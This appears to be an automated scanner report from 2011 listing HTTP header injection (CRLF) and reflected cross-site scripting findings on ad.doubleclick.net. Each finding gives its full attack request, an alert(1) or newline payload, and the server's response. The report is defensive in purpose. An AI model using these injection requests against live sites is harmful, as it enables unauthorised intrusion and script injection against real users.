HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 1 is copied into the Location response header. The payload c16f6%0d%0a51da6fd4ccb was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /879366c16f6%0d%0a51da6fd4ccb/DartShell9_8.swf?adServerHost=http://ad.doubleclick.net HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/879366c16f6 51da6fd4ccb/DartShell9_8.swf: Date: Wed, 16 Feb 2011 13:18:37 GMT Server: GFE/2.0
The value of REST URL parameter 2 is copied into the Location response header. The payload d9b0b%0d%0ad07232cbc4c was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /879366/DartShell9_8.swfd9b0b%0d%0ad07232cbc4c?adServerHost=http://ad.doubleclick.net HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/879366/DartShell9_8.swfd9b0b d07232cbc4c: Date: Wed, 16 Feb 2011 13:18:38 GMT Server: GFE/2.0
The value of REST URL parameter 1 is copied into the Location response header. The payload d2f5b%0d%0a6788cf932a1 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /879366d2f5b%0d%0a6788cf932a1/DartShellPlayer9_8_01_00.swf HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/879366d2f5b 6788cf932a1/DartShellPlayer9_8_01_00.swf: Date: Wed, 16 Feb 2011 13:18:38 GMT Server: GFE/2.0
The value of REST URL parameter 2 is copied into the Location response header. The payload 57917%0d%0a2e4287e285d was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /879366/DartShellPlayer9_8_01_00.swf57917%0d%0a2e4287e285d HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/879366/DartShellPlayer9_8_01_00.swf57917 2e4287e285d: Date: Wed, 16 Feb 2011 13:18:39 GMT Server: GFE/2.0
The value of REST URL parameter 1 is copied into the Location response header. The payload 3ba46%0d%0ae834dd27be6 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /crossdomain.xml3ba46%0d%0ae834dd27be6 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/crossdomain.xml3ba46 e834dd27be6: Date: Wed, 16 Feb 2011 13:18:31 GMT Server: GFE/2.0
The value of the dcmt request parameter is copied into the Content-Type response header. The payload 85d1f%0d%0a5bca77ea798 was submitted in the dcmt parameter. This caused a response containing an injected HTTP header.
Request
GET /pfadx/DARTSHELLCONFIGXML;dcmt=85d1f%0d%0a5bca77ea798 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
1.7. http://ad.doubleclick.net/pfadx/DARTSHELLCONFIGXML [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/pfadx/DARTSHELLCONFIGXML
Issue detail
The name of an arbitrarily supplied request parameter is copied into the DCLK_imp response header. The payload 39eed%0d%0a420efda2996 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /pfadx/DARTSHELLCONFIGXML;dcmt=text/xml;&39eed%0d%0a420efda2996=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://wreg.vid.trb.com/player/PaperVideoTest.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the _a request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86239"-alert(1)-"0ad7a57cd32 was submitted in the _a parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=1708705686239"-alert(1)-"0ad7a57cd32&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:10 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7597
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... %3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=1708705686239"-alert(1)-"0ad7a57cd32&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858220&&TFN=8664972899&Campaign=222230000010575"); var fscUrl = url; var fscUr ...[SNIP]...
The value of the _d request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f70bf"-alert(1)-"380d9f39904 was submitted in the _d parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392f70bf"-alert(1)-"380d9f39904&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:33 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7127
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392f70bf"-alert(1)-"380d9f39904&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858185&&TFN=8664972899&Campaign=222230000010575"); var fscUrl = url; var fscUrlClickTagFound = false ...[SNIP]...
The value of the _eo request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6cc1d"-alert(1)-"a12ea68f3cc was submitted in the _eo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=527866cc1d"-alert(1)-"a12ea68f3cc&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:49 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7806
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... ck%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=527866cc1d"-alert(1)-"a12ea68f3cc&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858210&&TFN=8664972899&Campaign=222230000010575");
The value of the _et request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d12ac"-alert(1)-"9817afad251 was submitted in the _et parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691d12ac"-alert(1)-"9817afad251&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5395
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... 0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691d12ac"-alert(1)-"9817afad251&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39893144&&TFN=8664972899&Campaign=222230000010575"); var wmode = "op ...[SNIP]...
The value of the _o request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44917"-alert(1)-"e2ee9e947bc was submitted in the _o parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=1571944917"-alert(1)-"e2ee9e947bc&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:39 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7625
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... ck.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=1571944917"-alert(1)-"e2ee9e947bc&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858222&&TFN=8664972899&Campaign=222230000 ...[SNIP]...
The value of the _pm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 798eb"-alert(1)-"5bfaeb34c5a was submitted in the _pm parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786798eb"-alert(1)-"5bfaeb34c5a&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:42 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7806
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786798eb"-alert(1)-"5bfaeb34c5a&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858210&&TFN=8664972899&Campaign=222230000010575"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode ...[SNIP]...
The value of the _pn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abc23"-alert(1)-"75c764b2f08 was submitted in the _pn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865abc23"-alert(1)-"75c764b2f08&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:54 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7562
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 0%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865abc23"-alert(1)-"75c764b2f08&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858192&&TFN=8664972899&Campaign=222230000010575"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; v ...[SNIP]...
The value of the _s request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94444"-alert(1)-"03f8e6c6ad9 was submitted in the _s parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
